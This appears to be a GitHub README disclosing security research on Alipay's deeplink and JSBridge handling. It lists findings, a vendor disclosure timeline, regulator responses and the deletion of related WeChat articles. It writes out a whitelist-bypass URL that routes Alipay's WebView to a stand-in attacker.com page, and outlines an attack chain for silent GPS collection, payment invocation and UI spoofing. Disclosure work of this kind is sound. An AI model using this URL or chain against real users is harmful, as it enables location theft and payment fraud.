Alipay DeepLink + JSBridge Security Research

17 Verified Vulnerabilities | 3 Devices | 308 Server Log Entries | 6 CVEs Applied

Alipay Mobile Payment Attack Surface — The Full-Stack Analysis by Innora AI

Layer	Repository	Findings
Runtime	alipay-deeplink-research (this repo)	17 vulnerabilities, CVSS 9.3
SDK	alipay-securityguard-analysis	9 CVEs, AVMP VM bypass, 97% unprotected APIs
Cryptography	hash-collision-lab	15 PoCs, IACR ePrint 2026/526

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⚠️ CENSORSHIP UPDATE — 2026-03-15

All 4 WeChat articles have been forcibly deleted.

The deletion notices state only: "Received related complaint. Determined to violate the Cybersecurity Law." Basis: "related laws and regulations."

No complainant identified. No specific law article cited. No appeal channel provided.

4 days earlier (March 11), a named complaint by Beijing Geyun Law Firm citing "reputation infringement" was reviewed and rejected by WeChat — the platform found it did not constitute infringement. This time, an anonymous complaint succeeded where the named one failed.

Meanwhile, the same research is independently verified by Packet Storm (#217089), accepted by MITRE (6 CVEs, Ticket #2005801), and under investigation by 16+ countries' regulators.

Full censorship analysis (bilingual EN/CN): innora.ai/zfb/article_censorship.html

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WeChat Articles — ALL DELETED

Status	Title	Original Link
DELETED	当白名单绕过沦为全网攻击的钥匙，傲慢的终点是法庭与溯源调查	Dead Link
DELETED	巨头的"封口令"被微信驳回，全球顶级黑客弹药库给出最终裁决	Dead Link
DELETED	支付宝安全研究遭律师函投诉 — 零次提及"支付宝"如何构成"商誉侵权"？	Dead Link
DELETED	位置被秒偷！10多亿人每天在用的国民支付应用，17个「正常功能」细思极恐！	Dead Link

Archived versions: innora.ai/zfb/ | This repository

Critical Finding: Whitelist Bypass (CVSS 9.3)

The master key enabling all 17 vulnerabilities to be remotely exploitable by ANYONE:

https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/payload.html

• No developer permissions required — No registration, no credentials, no approval
• Transforms all vulnerabilities — Without this bypass, issues are LAN-only; with it, anyone can attack 1B+ users remotely
• Vendor acknowledged severity — During a 23-minute recorded call, Ant Group's security lead stated: "If you can bypass our whitelist, that would be serious." Bypass achieved in under 2 minutes. Vendor refuses to patch, calling it "normal functionality"
• 6 CVEs applied via MITRE (Ticket #2005801), CWE-601 + CWE-939

Full Report

• Technical Report: innora.ai/zfb/
• Censorship Analysis: innora.ai/zfb/article_censorship.html
• Packet Storm Advisory: #217089

Global Regulatory Response

Reported to ~160 agencies across 22 countries. 38+ institutions responded:

Institution	Country	Status
Apple Product Security	US	Active investigation
Google Play	US	Policy violation review
MITRE CVE	US	6 CVEs accepted (Ticket #2005801)
Packet Storm Security	US	Advisory #217089 published
CSSF Luxembourg	EU	Whistleblowing case CSSFWB-2026-080
HKMA	Hong Kong	SVF complaint filed
PDPC	Singapore	Privacy investigation opened
FCA	UK	Whistleblowing confirmed
OAIC	Australia	Intake confirmed
EDPB	EU	Cross-border complaint confirmed
ANSSI	France	Confirmed, forwarded
CIRCL	Luxembourg	Case #4782984, contacting Alibaba SRC
FMA	New Zealand	Confirmed, evaluating
OJK	Indonesia	Responded with follow-up
Datatilsynet	Denmark	Confirmed receipt
NCSC	UK	Confirmed receipt

The Censorship Pattern

Feb 25 - Mar 7    Private disclosure (4 rounds + 23-min recorded call)
Mar 10             Vendor: "normal functionality" — refuses to patch
Mar 11 18:16       Public disclosure on innora.ai/zfb/
Mar 11 22:45       Beijing Geyun Law Firm complaint → REJECTED by WeChat
Mar 12             Packet Storm #217089 published, 6 CVEs at MITRE
Mar 12-14          189 emails → 22 countries → 38+ responses
Mar 15             Anonymous complaint → ALL 4 ARTICLES DELETED
                   No complainant. No specific law. No appeal.

The same content exists lawfully on Packet Storm, GitHub, and innora.ai — deleted only on Chinese platforms.

Key Findings

Severity	Count	Examples
CRITICAL	4	Whitelist bypass (CVSS 9.3), GPS silent theft, Transfer pre-fill, Payment initiation
HIGH	5	Device fingerprinting, UI spoofing, Session leak
MEDIUM	8	Network info, Chain WebView, Scheme injection

Attack Chain

Attacker crafts URL (NO developer permissions needed)
    → ds.alipay.com open redirect bypasses whitelist
    → Alipay WebView loads attacker's page with full JSBridge access
    → Silent data collection (GPS 8.8m accuracy, device info, session)
    → Payment interface invocation (tradePay)
    → UI spoofing (title bar, toast notifications)
    → Sensitive page navigation (transaction history, transfer, assets)

Cross-Platform Verification

• Samsung Galaxy S25 Ultra (Android 15, New Zealand)
• Redmi 12 (Android 14, Malaysia)
• iPhone 16 Pro (iOS 18.3, China — tested by vendor's own security lead)

Live PoC (Read-Only Demo)

No data is collected or transmitted. All results display locally only.

• Trigger Page — Simulates attacker distribution page
• JSBridge PoC — Demonstrates API access
• Chain WebView — Proves chained pages retain bridge access

Responsible Disclosure Timeline

Date	Action
2026-02-25	Initial report sent to Ant Group SRC
2026-03-07	Full report V3: 17 vulnerabilities + 308 log entries
2026-03-07	23-min call with vendor security lead (recorded)
2026-03-10	Vendor: "normal functionality"
2026-03-11	Public disclosure
2026-03-11	Beijing Geyun Law Firm complaint → rejected by WeChat
2026-03-12	Packet Storm #217089 published
2026-03-12	6 CVEs applied via MITRE (Ticket #2005801)
2026-03-12~14	189 emails → 22 countries → 38+ responses
2026-03-15	ALL 4 articles deleted — anonymous complaint, no appeal
2026-03-15	Censorship analysis published

Mirrors & Archives

Location	Status
innora.ai/zfb/	Active
GitHub (this repo)	Active
Packet Storm #217089	Permanently archived
WeChat	DELETED (2026-03-15)

Fork this repository as backup.

Evidence

• 308 server exfiltration log entries (JSONL format)
• 42 real-device screenshots
• Deletion notice screenshots: wechat_censored_1.jpeg, wechat_censored_2.jpeg
• Full evidence available: feng@innora.ai

Contact

• Researcher: Jiqiang Feng — Innora AI Security Research
• Email: feng@innora.ai
• Website: innora.ai
• Twitter: @met3or

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This research follows ISO/IEC 29147:2018 responsible disclosure practices.